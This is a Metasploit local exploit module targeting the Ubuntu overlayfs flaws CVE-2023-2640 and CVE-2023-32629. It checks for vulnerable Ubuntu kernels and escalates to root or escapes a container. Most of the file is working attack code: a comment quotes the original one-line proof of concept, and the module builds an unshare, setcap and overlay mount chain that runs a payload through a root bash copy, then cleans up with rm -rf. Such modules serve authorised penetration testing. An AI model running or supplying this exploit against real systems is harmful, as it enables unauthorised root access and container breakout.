class MetasploitModule < Msf::Exploit::Local

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GameOver(lay) Privilege Escalation and Container Escape',
        'Description' => %q{
          This module exploits the use of unsafe functions in a number of Ubuntu kernels
          utilizing vunerable versions of overlayfs. To mitigate CVE-2021-3493 the Linux
          kernel added a call to vfs_setxattr during ovl_do_setxattr. Due to independent
          changes to the kernel by the Ubuntu development team __vfs_setxattr_noperm is
          called during ovl_do_setxattr without calling the intermediate safety function
          vfs_setxattr. Ultimatly this module allows for root access to be achieved by
          writing setuid capabilities to a file which are not sanitized after being unioned
          with the upper mounted directory.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'g1vi', # PoC
          'h00die', # Module Suggestion
          'bwatters-r7', # MsF Module
          'gardnerapp', # MsF Module
        ],
        'Platform' => ['linux', 'unix'],
        'SessionTypes' => ['shell', 'meterpreter'],
        'DisclosureDate' => '2023-07-26',
        'References' => [
          ['URL', 'https://www.crowdstrike.com/blog/crowdstrike-discovers-new-container-exploit/'],
          ['URL', 'https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629'],
          ['URL', 'https://www.cvedetails.com/cve/CVE-2023-2640/'],
          ['URL', 'https://www.cvedetails.com/cve/CVE-2023-32629/'],
          ['URL', 'https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability'],
          ['CVE', '2023-32629'],
          ['CVE', '2023-2640']
        ],
        'Targets' => [
          [
            'Linux_Binary',
            {
              'Arch' => [ ARCH_AARCH64, ARCH_X64 ],
              'PrependSetuid' => true
            }
          ],
          [
            'Linux_Command',
            {
              'Arch' => ARCH_CMD,
              'Payload' =>
                {
                  'BadChars' => "\x22\x27"
                }
            }
          ]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options [
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
      OptString.new('PayloadFileName', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))])
    ]
  end

  def vuln
    # Keys are ubuntu versions, vals is list of vunerable kernels
    {
      "Lunar Lobster": %w[6.2.0], # Ubuntu 23.04
      "Kinetic Kudu": %w[5.19.0], # Ubuntu 22.10
      "Jammy Jellyfish": %w[5.19.0 6.2.0], # Ubuntu 22.04 LTS
      "Focal Fossa": %w[5.4.0], # Ubuntu 20.04 LTS
      "Bionic Beaver": %w[5.4.0] # Ubuntu 18.04 LTS
    }.transform_keys!(&:to_s) # w/o this key will be :"Bionic Beaver"
  end

  def check
    return CheckCode::Safe('Target is not linux.') unless session.platform == 'linux'

    # Must be Ubuntu
    return CheckCode::Safe('Target is not Ubuntu.') unless kernel_version =~ /[uU]buntu/

    os = cmd_exec 'cat /etc/os-release'

    # grab codename i.e. Focal Fossa
    codename = os.scan(/\(\w* \w*\)/)[0]

    # Remove '(' and ')'
    codename.delete_prefix!('(').delete_suffix!(')')

    print_status "Detected Ubuntu version: #{codename}"

    # uname -r
    # yields something like 5.4.0-1018-blah
    kernel = kernel_release
    print_status "Detected kernel version: #{kernel}"

    # Make sure release is running vunerable kernel
    # will this return in correct context??
    # could scan kernel to prevent looping if return below doesn't work
    vuln[codename].each do |version|
      if kernel.include? version
        return CheckCode::Vulnerable "#{codename} with #{kernel} kernel is vunerable"
      end
    end

    return CheckCode::Safe('Target does not appear to be running a vunerable Ubuntu Distro or Kernel')
  end

  def exploit
    pay_dir = datastore['WritableDir']
    pay_dir += '/' unless pay_dir.ends_with? '/'

    pay_dir += Rex::Text.rand_text_alpha(rand(6..13)) + '/'

    print_status "Creating directory to store payload: #{pay_dir}"
    mkdir pay_dir

    directories = []
    directories << pay_dir

    lower_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
    directories << lower_dir

    upper_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
    directories << upper_dir

    work_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
    directories << work_dir

    merge_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
    directories << merge_dir

    bash_copy = '/var/tmp/' + Rex::Text.rand_text_alpha(rand(6..13))
    # bash_copy = '/var/tmp/bash'

    directories.each do |dir|
      print_status "Creating directory #{dir}"
      mkdir dir.to_s
    end

    if target.arch.first == ARCH_CMD
      payload_cmd = payload.encoded
    else
      pay_file = datastore['PayloadFilename']
      payload_path = "#{pay_dir}#{pay_file}"
      print_status "Writing payload: #{payload_path}"
      write_file(payload_path, generate_payload_exe)
      payload_cmd = payload_path
    end

    # g1vi original
    # "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"

    # Exploit overlayfs vuln
    # Build the command
    rmrf_cmd = " rm -rf #{lower_dir} #{merge_dir} #{upper_dir} #{work_dir} #{bash_copy}"

    exploit_cmd = 'unshare -rm sh -c "'
    exploit_cmd << "cp #{cmd_exec('which python3')} #{lower_dir}; "
    exploit_cmd << "setcap cap_setuid+eip #{lower_dir}python3; "
    exploit_cmd << "mount -t overlay overlay -o rw,lowerdir=#{lower_dir},upperdir=#{upper_dir},workdir=#{work_dir} #{merge_dir} && "
    exploit_cmd << "touch #{merge_dir}*; "
    exploit_cmd << "#{upper_dir}python3 -c 'import os;os.setuid(0);os.system("
    exploit_cmd << "\\\"cp /bin/bash #{bash_copy} && chmod +x #{bash_copy} && "
    if target.arch.first == ARCH_CMD
      payload_cmd.gsub!('\\\\\\', '\\\\\\\\')
      exploit_cmd << "#{bash_copy} -p -c \\\\\\\"(#{payload_cmd}); #{rmrf_cmd}\\\\\\\""
    else
      exploit_cmd << "chmod +x #{payload_cmd} && #{payload_cmd} & #{rmrf_cmd}"
    end
    exploit_cmd << "\\\")'\""
    output = cmd_exec(exploit_cmd)
    vprint_status(output)
  end

end
